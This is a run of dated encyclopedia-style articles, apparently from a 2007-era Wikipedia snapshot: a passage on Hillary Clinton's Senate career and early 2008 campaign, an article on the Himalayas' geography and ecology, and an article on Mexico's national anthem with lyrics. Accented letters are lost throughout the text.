          Looking to establish a "progressive infrastructure" to rival that of American conservatism, Clinton played a formative role in conversations that led to the 2003 founding of former Clinton administration chief of staff John Podesta's Centre for American Progress; shared aides with Citizens for Responsibility and Ethics in Washington, founded in 2003; advised and nurtured the Clintons' former antagonist David Brock's Media Matters for America, created in 2004; and following the 2004 Senate elections, successfully pushed new Democratic Senate leader Harry Reid to create a Senate war room to handle daily political messaging.


          


          Reelection campaign of 2006
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          In November 2004, Clinton announced that she would seek a second term in the United States Senate. The early frontrunner for the Republican nomination, Westchester County District Attorney Jeanine Pirro, withdrew from the contest after several months of poor campaign performance. Clinton easily won the Democratic nomination over opposition from anti-war activist Jonathan Tasini. Clinton's eventual opponents in the general election were Republican candidate John Spencer, a former mayor of Yonkers, along with several third-party candidates. Throughout the campaign, Clinton consistently led Spencer in the polls by wide margins. She won the election on 7 November with 67percent of the vote to Spencer's 31percent, carrying all but four of New York's sixty-two counties. Clinton spent $36million towards her reelection, more than any other candidate for Senate in the 2006 elections. She was criticized by some Democrats for spending too much in a one-sided contest, while some supporters were concerned she did not leave more funds for a potential presidential bid in 2008. In the following months she transferred $10million of her Senate funds towards her now-official presidential campaign.


          


          Second term
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          Clinton opposed the Iraq War troop surge of 2007 and supported a February 2007 non-binding Senate resolution against it, which failed to gain cloture. In March 2007 she voted in favour of a war spending bill that required President Bush to begin withdrawing troops from Iraq within a certain deadline; it passed almost completely along party lines but was subsequently vetoed by President Bush. In May 2007 a compromise war funding bill that removed withdrawal deadlines but tied funding to progress benchmarks for the Iraqi government passed the Senate by a vote of 80-14 and would be signed by Bush; Clinton was one of those who voted against it. Clinton responded to General David Petraeus's September 2007 Report to Congress on the Situation in Iraq by saying, "I think that the reports that you provide to us really require a willing suspension of disbelief." In September 2007 she voted in favour of a Senate resolution calling on the State Department to label the Iranian Revolutionary Guard Corps "a foreign terrorist organization", which passed 76-22.


          In March 2007, in response to the dismissal of U.S. attorneys controversy, Clinton called on Attorney General Alberto Gonzales to resign, and launched an Internet campaign to gain petition signatures towards this end. In May and June 2007, regarding the high-profile, hotly debated comprehensive immigration reform bill known as the Secure Borders, Economic Opportunity and Immigration Reform Act of 2007, Clinton cast a number of votes in support of the bill, which eventually failed to gain cloture.


          Clinton has enjoyed high approval ratings for her job as senator within New York, reaching an all-time high of 72 to 74 percent approving (including half of Republicans) over 23 to 24 percent disapproving in December 2006, before her presidential campaign became active; by August 2007, after a half year of campaigning, it was still 64 percent over 34 percent.


          


          Presidential campaign of 2008


          Clinton had been mentioned as a potential candidate for United States President since at least October 2002. She has been ranked among the world's most powerful people by Forbes magazine and Time magazine's Time 100. On January 20, 2007, Clinton announced on her Web site the formation of a presidential exploratory committee, with the intention to become a candidate for president in the United States presidential election of 2008. In her announcement, she stated, "I'm in. And I'm in to win." No woman has ever been nominated by a major party for President of the United States, and Clinton is the first woman seen to have a good chance of winning a nomination.


          Clinton led the field of candidates competing for the Democratic nomination in opinion polls for the election throughout the first half of 2007. Most polls placed Senator Barack Obama of Illinois and former Senator John Edwards of North Carolina as Clinton's closest competitors in the early caucus and primary election states. Clinton set records for early fundraising, which Obama then topped in the following months before Clinton later regained the money lead; but Clinton generally maintained her lead in the polls.


          In April 2007, the Clintons liquidated a blind trust that had been established when he became president in 1993, in order to avoid the possibility of ethical conflicts or political embarrassments in the trust as Hillary Clinton undertook her presidential race; later disclosure statements revealed that the couple's worth was now upwards of $50million. In late August 2007, a major contributor to, and " bundler" for, Clinton's campaign, called a " HillRaiser", Norman Hsu, was revealed to be a 15-years-long fugitive in an investment fraud case. He was also suspected of having broken campaign finance law regarding his bundling collections. The Clinton campaign first said it would donate to charity the $23,000 that Hsu personally contributed to her, then said it would refund to 260donors the full $850,000 in bundled donations raised by Hsu. Hsu was subsequently indicted on new investment fraud charges.


          By September 2007, opinion polling in the first six states holding Democratic primaries or caucuses showed that Clinton was leading in all of them, with the races being closest in Iowa and South Carolina. By October 2007, national polls had Clinton far ahead of any Democratic competitor. At the end of October, Clinton suffered what writers for The Washington Post, ABC News, The Politico, and other outlets characterized as a rare poor debate performance as she was attacked by Obama, Edwards, and her other opponents. Subsequently, the race tightened considerably, especially in the early caucus and primary states of Iowa, New Hampshire, and South Carolina, with Clinton losing her lead in some polls by December.


          In the first vote of 2008, she placed third with 29percent of the state delegate selections in the January 3, 2008 Iowa Democratic caucus to Obama's 38percent and Edwards' 30percent. Obama led polls in New Hampshire and gained ground in national polling in the next few days, with a double digit victory predicted by several highly publicized polls for the New Hampshire primary and all major polls predicting an Obama victory, with an average of 8.3point margin. However, Clinton gained a surprise win in the New Hampshire primary on January 8, defeating Obama by 39percent to 37percent, and in the process becoming the first woman to win a presidential party primary in United States history. Explanations for her comeback varied but often centered on her being seen more sympathetically, especially by women, after choking up while responding to a voter's question the day before the election.


          


          Political positions


          In terms of public perception of her views, in a Gallup poll conducted during May 2005, 54% of respondents considered Senator Clinton a liberal, 30% considered her a moderate, and 9% considered her a conservative.


          Several organizations have attempted to scientifically measure her place on the political spectrum:


          
            	National Journal's 2004 study of roll-call votes assigned Clinton a rating of 30 in the political spectrum, relative to the then-current Senate, with a rating of 1 being most liberal and 100 being most conservative.

          


          
            	A 2004 analysis by political scientists Joshua D. Clinton of Princeton University, Simon Jackman and Doug Rivers of Stanford University found her to be likely the sixth-to-eighth-most liberal Senator.

          


          
            	The Almanac of American Politics, edited by Michael Barone and Richard E. Cohen, rated her votes from 2003 through 2006 as liberal or conservative, with 100 as the highest rating, in three areas: Economic, Social, and Foreign; averaged for the four years, the ratings are: Economic = 75 liberal, 23 conservative; Social = 83 liberal, 6 conservative; Foreign = 66 liberal, 30 conservative. Average = 75 liberal, 20 conservative.

          


          Various interest groups have given Senator Clinton scores or grades as to how well her votes align with the positions of the group:


          
            	Through 2006, she has a lifetime 96% "Liberal Quotient" from Americans for Democratic Action.


            	ProgressivePunch gives her a 91.4% lifetime progressive rating, ranking her the 28th most progressive of current senators.


            	Through 2006, she has a lifetime 9% rating from the American Conservative Union.


            	She received an 'A' (excellent) on the Drum Major Institute's 2005 Congressional Scorecard on middle-class issues.


            	The American Civil Liberties Union has given her a 75% lifetime rating through September 2007.


            	NARAL Pro-Choice America consistently gave her a 100% pro-choice rating from 2002 to 2006.


            	The League of Conservation Voters has given her a lifetime 90% pro-environment action rating through 2006.


            	Americans for Better Immigration has given her a lifetime grade of 'D-' (very near failing) through October 2007 on their Immigration-Reduction Report Card.


            	The National Rifle Association gave her an 'F' (failing) rating in 2006 for her stance on Second Amendment issues.

          


          Ratings of Clinton's votes from a number of other interest groups are tracked by Project Vote Smart.


          


          Writings and recordings


          


          As First Lady of the United States, Clinton published a weekly syndicated newspaper column titled "Talking It Over" from 1995 to 2000, distributed by Creators Syndicate. It focused on her experiences and those of women, children and families she encountered during her travels around the world.


          In 1996, Clinton presented a vision for the children of America in the book It Takes a Village: And Other Lessons Children Teach Us. The book was a New York Times Best Seller, and Clinton received the Grammy Award for Best Spoken Word Album in 1997 for the book's audio recording. The title refers to an African proverb that states "It takes a village to raise a child".


          


          Other books released by Clinton when she was First Lady include Dear Socks, Dear Buddy: Kids' Letters to the First Pets (1998) and An Invitation to the White House: At Home with History (2000). In 2001, she wrote the foreword to the children's book Beatrice's Goat.


          In 2003, Clinton released a 562-page autobiography, Living History. In anticipation of high sales, publisher Simon & Schuster paid Clinton a near-record advance of $8million. The book set a first-week sales record for a non-fiction work, went on to sell more than one million copies in the first month following publication, and was translated into twelve foreign languages. Clinton's audio recording of the book earned her a Grammy Award nomination for Best Spoken Word Album.


          


          Cultural and political image


          Observers have consistently characterized Hillary Clinton as a polarizing figure in American politics. By 1992, during her husband's presidential campaign, a reporter asked her, "Some people think of you as an inspiring female attorney mother, and other people think of you as the overbearing yuppie wife from hell. How would you describe yourself?" Political operatives said she could be easily seen as either a positive role model or a nagging " hall monitor" type. The polarized response to Clinton ran along both political and cultural lines. In 1995, after the failure of her health care reform initiative, New York Times reporter Todd Purdum labelled Hillary Clinton "a complex and polarizing figure in public opinion," and "the First Lady as Rorschach test;" the latter assessment was echoed by feminist writer and activist Betty Friedan.


          In part, this led from her background and her new role. Colorado State University communication studies professor Karrin Vasby Anderson describes the First Lady position as a "site" for American womanhood, one ready made for the symbolic negotiation of female identity. In particular there has been a cultural bias towards traditional first ladies and a cultural prohibition against modern first ladies; by the time of Clinton, the First Lady position had become a site of heterogeneity and paradox. Nowhere was this paradox more evident than when Clinton achieved her highest approval ratings as First Lady late in 1998, not for any professional or political achievement of her own but for being seen as the victim of her husband's very public infidelity. University of Pennsylvania communications professor Kathleen Hall Jamieson saw Hillary Clinton as an exemplar of the double bind, who though able to live in a "both-and" world of both career and family, nevertheless "became a surrogate on whom we projected our attitudes about attributes once thought incompatible," leading to her being placed in a variety of no-win situations. The world of political cartoons also played in the symbolic negotiation: University of Indianapolis English professor Charlotte Templin found cartoonists using a variety of stereotypes such as gender reversal, radical feminist as emasculator, and the wife the husband wants to get rid of, to portray Hillary Clinton as violating gender norms.


          Over fifty books and scholarly works have been written about Hillary Clinton, from many different angles. There has been a cottage industry in attack books against her, put out by Regnery Publishing and its brethren, with lurid subtitles such as Madame Hillary: The Dark Road to the White House, Hillary's Scheme: Inside the Next Clinton's Ruthless Agenda to Take the White House, and Can She Be Stopped?: Hillary Clinton Will Be the Next President of the United States Unless .... When she ran for Senate in 2000, a number of fundraising groups with dire-sounding names such as Save Our Senate and the Emergency Committee to Stop Hillary Rodham Clinton sprang up. She was a reliable bogeyman of Republican and conservative fundraising letters, on a par with Ted Kennedy and the equivalent of Democratic beggings to fear about Newt Gingrich.


          By the 2000s she had escaped the First Lady role for the Senate, but her polarizing image largely remained. In 2006, before her presidential campaign began in earnest, Time magazine's Ana Marie Cox said "she may be the most polarizing figure on the current political landscape," NPR's Daniel Schorr said that, in light of her qualities as a public figure and candidate, her polarizing force made her the "great political paradox of our time," and historian Gil Troy titled his biography of her Hillary Rodham Clinton: Polarizing First Lady. A Time magazine cover that year showed a large picture of her, with two checkboxes labeled "Love Her", "Hate Her", while Mother Jones titled its Jack Hitt-written profile of her "Harpy, Hero, Heretic: Hillary". A typical public opinion poll reporting Hillary Clinton's favorability versus unfavorability showed large percentages in both camps, few undecided, and none who did not know who she is. By the time of her presidential campaign for 2008, however, there were a few signs that her polarizing quality be abating. Democratic netroots activists consistently rated Clinton very low in polls of their desired candidates, while some conservative figures such as Bruce Bartlett and Christopher Ruddy were declaring a Hillary Clinton presidency not so bad after all and an October 2007 cover of The American Conservative magazine was titled "The Waning Power of Hillary Hate".


          


          Awards and honours


          Clinton has received over a dozen awards and honours during her career, from both American and international organizations, for her activities concerning health, women, and children.


          


          Electoral history


          
            
              	New York United States Senate election, 2000
            


            
              	Party

              	Candidate

              	Votes

              	%

              	%
            


            
              	

              	Democratic

              	Hillary Rodham Clinton

              	3,747,310

              	55.3

              	
            


            
              	

              	Republican

              	Rick Lazio

              	2,915,730

              	43.0

              	
            

          


          
            
              	New York United States Senate election, 2006
            


            
              	Party

              	Candidate

              	Votes

              	%

              	%
            


            
              	

              	Democratic

              	Hillary Rodham Clinton

              (Incumbent)

              	3,008,428

              	67.0

              	+11.7
            


            
              	

              	Republican

              	John Spencer

              	1,392,189

              	31.0

              	-12.0
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              	Countries

              	Bhutan, China, India, Nepal, Pakistan
            


            
              	
            


            
              	Highest point

              	Mount Everest
            


            
              	-elevation

              	8,874 m (29,114 ft)
            


            
              	-coordinates
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          The Himalaya Range (Sanskrit: हिमालय, IPA pronunciation: [hɪ'mɑlijə]), or Himalayas for short, is a mountain range in Asia, separating the Indian subcontinent from the Tibetan Plateau. By extension, it is also the name of the massive mountain system which includes the Karakoram, the Hindu Kush, and a host of minor ranges extending from the Pamir Knot. The name is from Sanskrit himālaya, a tatpurusa compound meaning "the abode of snow" (from hima "snow", and ālaya "abode"; see also Himavat).As words, the expression "Himalaya Range" is similar to the expression Sierra Nevada.


          Together, the Himalayan mountain system is the planet's highest and home to the world's highest peaks: the Eight-thousanders, including Mount Everest and K2. To comprehend the enormous scale of this mountain range consider that Aconcagua, in the Andes, at 6,962 m, is the highest peak outside Asia, while the Himalayan system includes over 100 mountains exceeding 7,200 meters.


          The Himalayan system, which includes outlying subranges, stretches across six countries: Bhutan, China, India, Nepal, Pakistan and Afghanistan. They are the source of three of the world's major river systems, the Indus, the Ganga-Brahmaputra, and the Yangtze. Approximately 1.3 billion people live in the drainage basin of the Himalayan rivers.


          The range proper runs west to east, from the Indus river valley to the Brahmaputra river valley, thereby forming an arc 2,400 km long, which varies in width from 400 km in the western Kashmir- Xinjiang region to 150 km in the eastern Tibet- Arunachal Pradesh region. The Himalaya chain consists of three parallel ranges, with the northern-most range known as the Great or Inner Himalayas.


          


          Ecology


          The flora and fauna of the Himalayas varies with climate, rainfall, altitude, and soils. The climate ranges from tropical at the base of the mountains to permanent ice and snow at the highest elevations. The amount of yearly rainfall increases from west to east along the front of the range. This diversity of climate, altitude, rainfall and soil conditions generates a variety of distinct plant and animal communities, or extinct animals.


          


          Lowland forests


          On the Indo-Gangetic plain at the base of the mountains, an alluvial plain drained by the Indus and Ganga-Brahmaputra river systems, vegetation varies from west to east with rainfall. The xeric Northwestern thorn scrub forests occupy the plains of Pakistan and the Indian Punjab. Further east lie the Upper Gangetic plains moist deciduous forests of Uttarakhand and Uttar Pradesh and Lower Gangetic plains moist deciduous forests of Bihar and West Bengal. These are monsoon forests, with drought-deciduous trees that lose their leaves during the dry season. The moister Brahmaputra Valley semi-evergreen forests occupy the plains of Assam.


          


          The Terai belt


          Above the alluvial plain lies the Terai strip, a seasonally marshy zone of sand and clay soils. The Terai has higher rainfall than the plains, and the downward-rushing rivers of the Himalaya slow down and spread out in the flatter Terai zone, depositing fertile silt during the monsoon season and receding in the dry season. The Terai has a high water table due to groundwater percolating down from the adjacent zone. The central part of the Terai belt is occupied by the Terai-Duar savanna and grasslands, a mosaic of grasslands, savannas, deciduous and evergreen forests that includes some of the world's tallest grasslands. The grasslands of the Terai belt are home to the Indian Rhinoceros (Rhinoceros unicornis).


          


          Bhabhar belt


          Above the Terai belt is an upland zone known as the Bhabhar, a zone of porous and rocky soils, made up of debris washed down from the higher ranges. The Bhabhar and the lower Siwalik ranges have a subtropical climate. The Himalayan subtropical pine forests occupy the western end of the subtropical belt, with forests dominated by Chir Pine (Pinus roxburghii). The central part of the range is home to the Himalayan subtropical broadleaf forests, dominated by sal (Shorea robusta).


          


          Siwalik Hills


          Also called Churia or Margalla Hills. Intermittent outermost range of foothills extending across Himalayan region through Pakistan, India, Nepal and Bhutan. Consists of many sub-ranges. Summits generally 600 to 1,200 meters. Steeper southern slopes form along a fault zone called Main Frontal Thrust; northern slopes are gentler. Permeable conglomerates and other rocks allow rainwater to percolate downslope into the Bhabhar and Terai, supporting only scrubby forests upslope.


          


          Inner Terai or Dun Valleys


          Open valleys north of Siwalik Hills or nestled between Siwalik subranges. Examples include Dehra Dun in India and Chitwan in Nepal.


          


          Midlands


          'Hilly' region averaging about 1,000 meters immediately north of the Mahabharat Range, rising over about 100 km to about 4,000 meters at the Main Frontal Thrust fault zone where the Greater Himalaya begin.


          
            	Montane forests - At the middle elevations of the range, the subtropical forests yield to a belt of temperate broadleaf and mixed forests, with the Western Himalayan broadleaf forests at the western end of the range, and the Eastern Himalayan broadleaf forests in Assam and Arunachal Pradesh. Above the broadleaf forests are the Western and Eastern Himalayan subalpine conifer forests.

          


          


          Alpine shrub and grasslands
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          Above the tree line are the Northwestern, Western, and Eastern Himalayan alpine shrub and meadows, which yield to tundra in the higher Himalayan range. The alpine meadows are the summer habitat of the endangered Snow Leopard (Uncia uncia).


          


          Origins and growth
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          The Himalayas are among the youngest mountain ranges on the planet. According to the modern theory of plate tectonics, their formation is a result of a continental collision or orogeny along the convergent boundary between the Indo-Australian Plate and the Eurasian Plate. This is called a fold mountain. The collision began in the Upper Cretaceous period about 70 million years ago, when the north-moving Indo-Australian Plate, moving at about 15 cm/year, collided with the Eurasian Plate. About 50 million years ago this fast moving Indo-Australian plate had completely closed the Tethys Ocean, the existence of which has been determined by sedimentary rocks settled on the ocean floor and the volcanoes that fringed its edges. Since these sediments were light, they crumpled into mountain ranges rather than sinking to the floor. The Indo-Australian plate continues to be driven horizontally below the Tibetan plateau, which forces the plateau to move upwards. The Arakan Yoma highlands in Myanmar and the Andaman and Nicobar Islands in the Bay of Bengal were also formed as a result of this collision.


          The Indo-Australian plate is still moving at 67 mm/year, and over the next 10 million years it will travel about 1,500 km into Asia. About 20 mm/year of the India-Asia convergence is absorbed by thrusting along the Himalaya southern front. This leads to the Himalayas rising by about 5 mm/year, making them geologically active. The movement of the Indian plate into the Asian plate also makes this region seismically active, leading to earthquakes from time to time.


          


          Glaciers and river systems
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              Glaciers near by K2 in Pakistan.
            

          


          The Himalayan range encompasses about 15,000 glaciers, which store about 12,000 km3 of freshwater. The 70 km long Siachen Glacier at the India-Pakistan border is the second longest glacier in the world outside the polar region. Some of the other more famous glaciers include the Gangotri and Yamunotri ( Uttarakhand), Nubra, Biafo and Baltoro ( Karakoram region), Zemu (Sikkim) and Khumbu glaciers (Mount Everest region).


          The higher regions of the Himalayas are snowbound throughout the year in spite of their proximity to the tropics, and they form the sources for several large perennial rivers, most of which combine into two large river systems:


          
            [image: This image shows the termini of the glaciers in the Bhutan-Himalaya. Glacial lakes have been forming rapidly on the surface of the debris-covered glaciers in this region during the last few decades.]

            
              This image shows the termini of the glaciers in the Bhutan-Himalaya. Glacial lakes have been forming rapidly on the surface of the debris-covered glaciers in this region during the last few decades.
            

          


          
            	The western rivers combine into the Indus Basin, of which the Indus River is the largest. The Indus begins in Tibet at the confluence of Sengge and Gar rivers and flows southwest through Pakistan to the Arabian Sea. It is fed by the Jhelum, the Chenab, the Ravi, the Beas, and the Sutlej rivers, among others.

          


          
            	Most of the other Himalayan rivers drain the Ganga-Brahmaputra Basin. Its two main rivers are the Ganga and the Brahma and the Yamuna among other tributaries. The Brahmaputra originates as the Yarlung Tsangpo River in western Tibet, and flows east through Tibet and west through the plains of Assam. The Ganga and the Brahmaputra meet in Bangladesh, and drain into the Bay of Bengal through the world's largest river delta.

          


          The eastern-most Himalayan rivers feed the Ayeyarwady River, which originates in eastern Tibet and flows south through Myanmar to drain into the Andaman Sea.


          The Salween, Mekong, the Yangtze and the Huang He (Yellow River) all originate from parts of the Tibetan plateau that are geologically distinct from the Himalaya mountains, and are therefore not considered true Himalayan rivers. Some geologists refer to all the rivers collectively as the circum-Himalayan rivers. In recent years scientists have monitored a notable increase in the rate of glacier retreat across the region as a result of global climate change. Although the effect of this won't be known for many years it potentially could mean disaster for the hundreds of millions of people who rely on the glaciers to feed the rivers of northern India during the dry seasons.


          According to a UN climate report, the Himalayan glaciers that are the sources of Asia's biggest rivers could disappear by 2035 as temperatures rise and India, China, Pakistan, Bangladesh, Nepal and Myanmar could experience floods followed by droughts in coming decades. In India alone, the Ganga provides water for drinking and farming for more than 500 million people.


          


          Lakes
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              Sikkim in India, a high Himalayan lake at an altitude of around 5'000 meters
            

          


          The Himalaya region is dotted with hundreds of lakes. Most lakes are found at altitudes of less than 5,000 m, with the size of the lakes diminishing with altitude. The largest lake is the Pangong Tso, which is spread across the border between India and Tibet. It is situated at an altitude of 4,600 m, and is 8 km wide and nearly 134 km long. A notable high (but not the highest) lake is the Gurudogmar in North Sikkim at an altitude of 5,148 m (16,890 ft) (altitude source: SRTM). Other major lakes include the Tsongmo lake, near the Indo-China border in Sikkim(India), and Tilicho lake in Nepal in the Annapurna massif, a large lake in an area that was closed to outsiders until recently.


          The mountain lakes are known to geographers as tarns if they are caused by glacial activity. Tarns are found mostly in the upper reaches of the Himalaya, above 5,500 metres. For more information about these, see here.


          


          Impact on climate
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          The Himalayas have a profound effect on the climate of the Indian subcontinent and the Tibetan plateau. They prevent frigid, dry Arctic winds from blowing south into the subcontinent, which keeps South Asia much warmer than corresponding temperate regions in the other continents. It also forms a barrier for the monsoon winds, keeping them from traveling northwards, and causing heavy rainfall in the Terai region. The Himalayas are also believed to play an important part in the formation of Central Asian deserts such as the Taklamakan and Gobi deserts.


          The mountain ranges also prevent western winter disturbances from Iran from traveling further, resulting in snow in Kashmir and rainfall for parts of Punjab and northern India. Despite being a barrier to the cold northernly winter winds, the Brahmaputra valley receives part of the frigid winds, thus lowering the temperature in the northeast Indian states and Bangladesh. These winds also cause the North East monsoon during this season for these parts.


          In turn, the weather phenomenon called Jet Stream affects our image of the highest peaks on earth. The strong stream of winds from the west pass through Everest, creating a familiar plume of snows blowing from the summit, and visible from a great distance.


          


          Mountain passes
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              The Himalayan range at Yumesongdong in Sikkim, in the Yumthang River valley.
            

          


          The rugged terrain of the Himalaya makes few routes through the mountains possible. Some of these routes include:


          
            	Gangtok in Sikkim to Lhasa in Tibet, via the Nathula Pass and Jelepla Passes (offshoots of the ancient Silk Road).


            	Bhadgaon in Nepal to Nyalam in Tibet.


            	Rohtang Pass in Himachal Pradesh, India.


            	The road from Srinagar in Kashmir via Leh to Tibet. This pass is now less used because of regional troubles. Many people are affected.


            	Mohan Pass is the principal pass in the Siwalik Hills, the southern most and geologically youngest foothills running parallel to the main Himalayas in Sikkim.

          


          


          Impact on politics and culture
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          It should be noted that almost half of the humans and livestock of India live on one-third of the landscape within 500km of the Himalayan range.( pdf,3mb)


          The Himalayas, due to their large size and expanse, have been a natural barrier to the movement of people for tens of thousands of years. In particular, this has prevented intermingling of people from the Indian subcontinent with people from China and Mongolia, causing significantly different languages and customs between these regions. The Himalayas have also hindered trade routes and prevented military expeditions across its expanse. For instance, Genghis Khan could not expand his empire south of the Himalayas into the subcontinent.


          Religion
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          Several places in the Himalaya are of religious significance in Hinduism and Buddhism. In Hinduism, the Himalaya have also been personified as the god Himavat, the father of Shiva's consort, Parvati.


          
            	Haridwar, the place where the river Ganga enters the plains.


            	Badrinath, a temple dedicated to Vishnu.


            	Kedarnath, where one of the 12 Jyotirlingas is located.


            	Gaumukh, the source of the Bhagirathi (and hence, by extension, the Ganga), located a few miles above the town of Gangotri.


            	Deoprayag, where the Alaknanda and Bhagirathi merge to form the Ganga.


            	Rishikesh, has a temple of Lakshmana.


            	Mount Kailash, a 6,638 m high peak which is the abode of the Hindu Gods Shiva and Uma and is also venerated by Buddhists. The peak is forbidden to climb, it is so sacred it is circled at its base. Lake Manasarowar lies at the base of Mount Kailash, and is the source of the Brahmaputra.


            	Amarnath, has a natural Shiva linga of ice which forms for a few weeks each year. Thousands of people visit this cave during these few weeks.


            	The Vaishno Devi is a popular shrine among Durga devotees.


            	A number of Tibetan Buddhist sites are situated in the Himalaya, including the residence of the Dalai Lama.


            	The Yeti is one of the most famous creatures in cryptozoology. It is a large primate-like creature that is supposed to live in the Himalaya. Most mainstream scientists and experts consider current evidence of the Yeti's existence unpersuasive, and the result of hoaxes, legend or misidentification of mundane creatures.


            	Shambhala is a mystical city in Buddhism with various legends associated with it. While some legends consider it to be a real city where secret Buddhist doctrines are being preserved, other legends believe that the city does not physically exist and can only be reached in the mental realm.


            	Sri Hemkund Sahib - Sikh gurudwara where Guru Gobind Singh is claimed to have meditated and achieved enlightenment in a previous incarnation.
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              	Himno Nacional Mexicano

              English: National Anthem of Mexico
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              	National Anthem of
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              	Also known as

              	Mexicanos, al grito de guerra

              English: Mexicans, at the cry of war
            


            
              	Lyrics

              	Francisco Gonzlez Bocanegra, 1853
            


            
              	Music

              	Jaime Nun, 1854
            


            
              	Adopted

              	1943
            


            
              	
            

          


          The National Anthem of Mexico (Spanish: Himno Nacional Mexicano) was officially adopted in 1943. The lyrics of the national anthem, which allude to Mexican victories in the heat of battle and cries of defending the homeland, were composed by poet Francisco Gonzlez Bocanegra in 1853, after his fiance locked him in a room. In 1854, Jaime Nun arranged the music which now accompanies Gonzlez's poem. The anthem, consisting of ten stanzas and a chorus, entered into use on September 16, 1854. From 1854 until its official adoption, the lyrics underwent several modifications due to political changes in the country. Unofficially, the anthem is sometimes called "Mexicanos, al grito de guerra" (Spanish for "Mexicans, at the cry of war") which is also the first line of the chorus.


          


          Composition


          


          Lyrics competition
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              Francisco Gonzlez Bocanegra
            

          


          On November 12, 1853, President Antonio Lpez de Santa Anna announced a competition to write a national anthem for Mexico. The competition offered a prize for the best poetic composition representing patriotic ideals. Francisco Gonzlez Bocanegra, a talented poet, was not interested in participating in the competition. He argued that writing love poems involved very different skills from the ones required to write a national anthem. His fiance, Guadalupe Gonzlez del Pino (or Pili), had undaunted faith in her fianc's poetic skills and was displeased with his constant refusal to participate in spite of her constant prodding and requests from their friends. Finally she decided to take matters into her own hands. Under false pretenses, she lured him to a secluded bedroom in her parents' house, locked him into the room, and refused to let him out until he produced an entry for the competition. Inside the room in which he was temporarily imprisoned were pictures depicting various events in Mexican history which helped to inspire his work. After four hours of fluent (albeit forced) inspiration, Francisco regained his freedom by slipping all ten verses of his creation under the door. After Francisco received approval from his fiance and her father, he submitted the poem and won the competition by unanimous vote. Gonzlez was announced the winner in the publication Official Journal of the Federation (DOF) on February 3, 1854.


          


          Music competition
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              Jaime Nun
            

          


          At the same time the lyrics were chosen, a set of music was chosen. The winner was Juan Bottesini, but his entry was disliked due to aesthetics. This rejection caused a second national contest to find music for the lyrics. At the end of the second contest, the music that was chosen for Gonzlez's lyrics was composed by Jaume Nun, a Spanish-born band leader. At the time of the second anthem competition, Nun was the leader of several Mexican military bands. He had been invited to direct these bands by President Santa Anna, whom he had met in Cuba. About the time that Nun first came to Mexico to start performing with the bands, Santa Anna was making his announcement about creating a national anthem for Mexico. Out of the few musical compositions submitted, Nun's music, titled "God and Freedom" (Dios y libertad), was chosen as the winner on August 12, 1854. The anthem was officially adopted on Independence Day, September 16 of that same year. The inaugural interpretation was directed by Juan Bottesini, sung by soprano Claudia Florenti and tenor Lorenzo Salvi at the Santa Anna Theatre (now known as the National Theatre of Mexico).


          


          Lyrics


          Officially since 1943, the full national anthem consists of the chorus, 1st stanza, 5th stanza, 6th stanza and 10th stanza. The modification of the lyrics was ordered by President Manuel vila Camacho in a decree printed in the Diario Oficial de la Federacin. When the anthem is played at sporting events, such as the Olympic Games, the only parts of the anthem that are played are the chorus, 1st stanza and the chorus. When opening and closing television and or radio programming, stations have sometimes played a modified national anthem consisting of the chorus, 1st stanza, chorus, 10th stanza and chorus.


          Notes: The word "Patria" in the Spanish language is the form of the English term of 'homeland'.


          National Anthem of Mexico


          
            
              	
                Coro:


                Mexicanos, al grito de guerra

                el acero aprestad y el bridn.

                Y retiemble en sus centros la tierra,

                al sonoro rugir del can.

                Y retiemble en sus centros la tierra,

                al sonoro rugir del can!

              

              	
                Chorus:


                Mexicans, at the cry of war,

                make ready the steel and the steed,

                and may the earth tremble its centers

                at the resounding roar of the cannon.

                And may the earth tremble its centers

                at the resounding roar of the cannon!

              
            


            
              	
                Estrofa I:


                Cia oh Patria! tus sienes de oliva

                de la paz el arcngel divino,

                que en el cielo tu eterno destino

                por el dedo de Dios se escribi.

                Mas si osare un extrao enemigo

                profanar con su planta tu suelo,

                piensa oh Patria querida! que el cielo

                un soldado en cada hijo te dio.

              

              	
                First Stanza:


                Let gird, oh Fatherland, your brow with olive

                by the divine archangel of peace,

                for in heaven your eternal destiny

                was written by the finger of God.

                But if some enemy outlander should dare

                to profane your ground with his step,

                think, oh beloved country, that heaven

                has given you a soldier in every son.


              
            


            
              	
                Estrofa V:


                Guerra, guerra sin tregua al que intente

                De la patria manchar los blasones!

                Guerra, guerra! Los patrios pendones

                En las olas de sangre empapad.

                Guerra, guerra! En el monte, en el valle

                Los caones horrsonos truenen,

                Y los ecos sonoros resuenen

                Con las voces de Unin! Libertad!

              

              	
                Stanza V:


                War, war without quarter to any who dare

                to tarnish the country's coat of arms!

                War, war! Let the national banners

                be soaked in waves of blood.

                War, war! In the mountain, in the valley,

                let the cannons thunder in horrid unison

                and may the sonorous echoes resound

                with cries of Union! Liberty!

              
            


            
              	
                Estrofa VI:


                Antes, patria, que inermes tus hijos

                Bajo el yugo su cuello dobleguen,

                Tus campias con sangre se rieguen,

                Sobre sangre se estampe su pie.

                Y tus templos, palacios y torres

                Se derrumben con hrrido estruendo,

                Y sus ruinas existan diciendo:

                De mil hroes la patria aqu fue.

              

              	
                Stanza VI:


                Oh Fatherland, ere your children, defenseless

                bend their neck beneath the yoke,

                may your fields be watered with blood,

                may they leave their footprints in blood.

                And may your temples, palaces and towers

                collapse with horrid clamor,

                and their ruins continue on, saying:

                Of a thousand heroes, this fatherland was.

              
            


            
              	
                Estrofa X:


                Patria! Patria! Tus hijos te juran

                Exhalar en tus aras su aliento,

                Si el clarn con su blico acento

                los convoca a lidiar con valor.

                Para ti las guirnaldas de oliva!

                Un recuerdo para ellos de gloria!

                Un laurel para ti de victoria!

                Un sepulcro para ellos de honour!

              

              	
                Stanza X:


                Oh, Fatherland, Fatherland, your children swear to you

                to breathe their last for your sake,

                if the bugle with its warlike accent

                should call them to fight with courage.

                For you the olive wreathes!

                A memory for them of glory!

                For you a laurel of victory!

                A tomb for them of honour!

              
            

          


          There is also a link in the Spanish Version of Wikipedia to the Full Version of the Mexican Anthem.


          


          Copyright status


          An urban legend about the copyright status of the anthem states that years after its first performance, Nun's family sold the musical rights to a German music publishing company named Wagner House. Originally, Nun was supposed to have turned the music rights over to the state in exchange for a prize from the Mexican government. However, according to the myth, the copyright changed hands again, this time to Nun himself and two Americans, Harry Henneman and Phil Hill.


